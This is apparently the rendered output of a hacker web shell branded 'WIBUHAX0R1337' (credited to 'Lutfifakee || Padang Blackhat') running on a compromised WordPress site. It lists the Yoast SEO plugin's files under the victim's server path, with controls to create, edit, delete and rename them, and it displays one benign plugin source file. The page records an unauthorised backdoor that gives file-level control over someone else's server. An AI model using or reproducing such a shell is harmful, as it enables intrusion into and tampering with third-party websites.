-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
exceptions
--
NONE
options
--
NONE
sitemaps
--
NONE
class-addon-manager.php
26.591KB
Edit File
Delete File
Rename
class-my-yoast-api-request.php
5.387KB
Edit File
Delete File
Rename
class-post-type.php
3.893KB
Edit File
Delete File
Rename
class-rewrite.php
7.579KB
Edit File
Delete File
Rename
class-upgrade-history.php
3.043KB
Edit File
Delete File
Rename
class-upgrade.php
55.293KB
Edit File
Delete File
Rename
class-wpseo-admin-bar-menu.php
26.966KB
Edit File
Delete File
Rename
class-wpseo-content-images.php
2.621KB
Edit File
Delete File
Rename
class-wpseo-custom-fields.php
1.726KB
Edit File
Delete File
Rename
class-wpseo-custom-taxonomies.php
1.591KB
Edit File
Delete File
Rename
class-wpseo-image-utils.php
15.091KB
Edit File
Delete File
Rename
class-wpseo-installation.php
1.173KB
Edit File
Delete File
Rename
class-wpseo-meta.php
34.169KB
Edit File
Delete File
Rename
class-wpseo-primary-term.php
1.698KB
Edit File
Delete File
Rename
class-wpseo-rank.php
7.371KB
Edit File
Delete File
Rename
class-wpseo-replace-vars.php
51.412KB
Edit File
Delete File
Rename
class-wpseo-replacement-variable.php
1.343KB
Edit File
Delete File
Rename
class-wpseo-shortlinker.php
1.105KB
Edit File
Delete File
Rename
class-wpseo-statistics.php
1.409KB
Edit File
Delete File
Rename
class-wpseo-utils.php
28.488KB
Edit File
Delete File
Rename
class-yoast-dynamic-rewrites.php
5.235KB
Edit File
Delete File
Rename
date-helper.php
1.711KB
Edit File
Delete File
Rename
index.php
0.037KB
Edit File
Delete File
Rename
interface-wpseo-wordpress-ajax-integration.php
0.287KB
Edit File
Delete File
Rename
interface-wpseo-wordpress-integration.php
0.34KB
Edit File
Delete File
Rename
language-utils.php
1.282KB
Edit File
Delete File
Rename
wpseo-functions-deprecated.php
0.066KB
Edit File
Delete File
Rename
wpseo-functions.php
9.002KB
Edit File
Delete File
Rename
wpseo-non-ajax-functions.php
1.556KB
Edit File
Delete File
Rename
<?php /** * WPSEO plugin file. * * @package WPSEO */ /** * Represents a post's primary term. */ class WPSEO_Primary_Term { /** * Taxonomy name for the term. * * @var string */ protected $taxonomy_name; /** * Post ID for the term. * * @var int */ protected $post_ID; /** * The taxonomy this term is part of. * * @param string $taxonomy_name Taxonomy name for the term. * @param int $post_id Post ID for the term. */ public function __construct( $taxonomy_name, $post_id ) { $this->taxonomy_name = $taxonomy_name; $this->post_ID = $post_id; } /** * Returns the primary term ID. * * @return int|bool */ public function get_primary_term() { $primary_term = get_post_meta( $this->post_ID, WPSEO_Meta::$meta_prefix . 'primary_' . $this->taxonomy_name, true ); if ( ! $primary_term ) { return false; } $terms = $this->get_terms(); if ( ! in_array( (int) $primary_term, wp_list_pluck( $terms, 'term_id' ), true ) ) { $primary_term = false; } $primary_term = (int) $primary_term; return ( $primary_term ) ? ( $primary_term ) : false; } /** * Sets the new primary term ID. * * @param int $new_primary_term New primary term ID. * * @return void */ public function set_primary_term( $new_primary_term ) { update_post_meta( $this->post_ID, WPSEO_Meta::$meta_prefix . 'primary_' . $this->taxonomy_name, $new_primary_term ); } /** * Get the terms for the current post ID. * When $terms is not an array, set $terms to an array. * * @return array */ protected function get_terms() { $terms = get_the_terms( $this->post_ID, $this->taxonomy_name ); if ( ! is_array( $terms ) ) { $terms = []; } return $terms; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat